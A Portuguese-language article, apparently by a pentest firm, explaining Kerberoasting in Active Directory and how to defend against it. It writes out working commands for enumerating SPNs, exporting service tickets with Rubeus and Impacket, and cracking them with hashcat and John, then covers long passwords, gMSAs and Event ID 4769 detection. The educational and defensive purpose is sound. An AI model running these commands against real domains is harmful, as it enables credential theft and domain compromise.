Kerberoasting na prática: ataque e defesa em ambientes Active Directory

O protocolo Kerberos e os Service Principal Names

O Kerberos é o protocolo de autenticação padrão em domínios Active Directory desde o Windows 2000. Seu funcionamento baseia-se em três componentes: o cliente, o servidor alvo e o Key Distribution Center (KDC), que no contexto do AD é o Domain Controller.

O fluxo de autenticação ocorre em duas etapas principais: primeiro, o cliente obtém um Ticket Granting Ticket (TGT) apresentando suas credenciais ao KDC. Em seguida, quando precisa acessar um servico, apresenta o TGT para obter um Ticket de Servico (TGS) especifico para aquele recurso.

Os Service Principal Names (SPNs) são identificadores que associam uma conta de servico a um servico especifico no domínio. Por exemplo, MSSQLSvc/sqlserver01.empresa.local:1433 indica que a conta associada a esse SPN é responsável pelo servico SQL Server naquele servidor.

Como o Kerberoasting explora esse mecanismo

O ponto critico: o KDC criptografa o ticket TGS com a hash da senha da conta de servico associada ao SPN. Qualquer usuario autenticado no domínio pode solicitar um TGS para qualquer SPN registrado, sem precisar de privilégios especiais.

Um atacante que compromete qualquer conta de usuario pode enumerar todos os SPNs do domínio, solicitar tickets TGS para esses servicos e exportar esses tickets para realizar um ataque offline de força bruta para recuperar a senha em texto claro.

A viabilidade do ataque depende da forca da senha da conta de servico. Contas configuradas com senhas fracas ou que nunca foram rotacionadas são os alvos mais comuns.

Execução do ataque: passo a passo

1. Enumeração de SPNs

Com qualquer conta de usuario autenticada, é possível enumerar SPNs usando ferramentas nativas ou do PowerView:

# Usando PowerView
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName

# Usando setspn nativo
setspn -T empresa.local -Q */*

# Usando Impacket (Linux)
python3 GetUserSPNs.py empresa.local/usuario:senha

2. Requisicao e exportacão dos tickets

# Rubeus (Windows) - solicita e exporta hashes no formato Hashcat
Rubeus.exe kerberoast /outputfile:hashes.txt

# Impacket (Linux) - coleta e formata para Hashcat
python3 GetUserSPNs.py -request empresa.local/usuario:senha

3. Cracking offline

# Hashcat com wordlist
hashcat -m 13100 hashes.txt wordlist.txt --rules-file=best64.rule

# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt

Controles de defesa e detecção

Senhas longas e complexas para contas de servico

A mitigação mais efetiva é garantir que contas de servico com SPNs possuam senhas longas e aleatórias, com no mínimo 25 caracteres. Isso torna o cracking offline inviável mesmo com hardware dedicado.

Group Managed Service Accounts (gMSA)

As gMSAs gerenciam automaticamente senhas de 240 bits rotacionadas a cada 30 dias, eliminando o risco de Kerberoasting para essas contas. É a solucão recomendada pela Microsoft para servicos que suportam esse tipo de conta.

Detecção via Event ID 4769

O Event ID 4769 registra requisicoes de tickets TGS. Um indicador claro de Kerberoasting é o campo "Ticket Encryption Type" com valor 0x17 (RC4-HMAC). Ambientes modernos devem usar AES256 por padrao; requisicoes RC4 são suspeitas.

Impacto em ambientes corporativos

Em pentests de Active Directory realizados pela First Security, Kerberoasting foi o vetor de escalada de privilégio mais frequente em 2024. Na maioria dos casos, contas de servico de aplicacoes legadas como SQL Server, IIS e sistemas ERP possuíam senhas que nunca foram rotacionadas desde a implementacão do sistema.

O impacto de uma conta de servico comprometida varia. Em casos onde a conta possui privilégios de Domain Admin (configuracão incorreta comum), o ataque resulta em comprometimento total do domínio.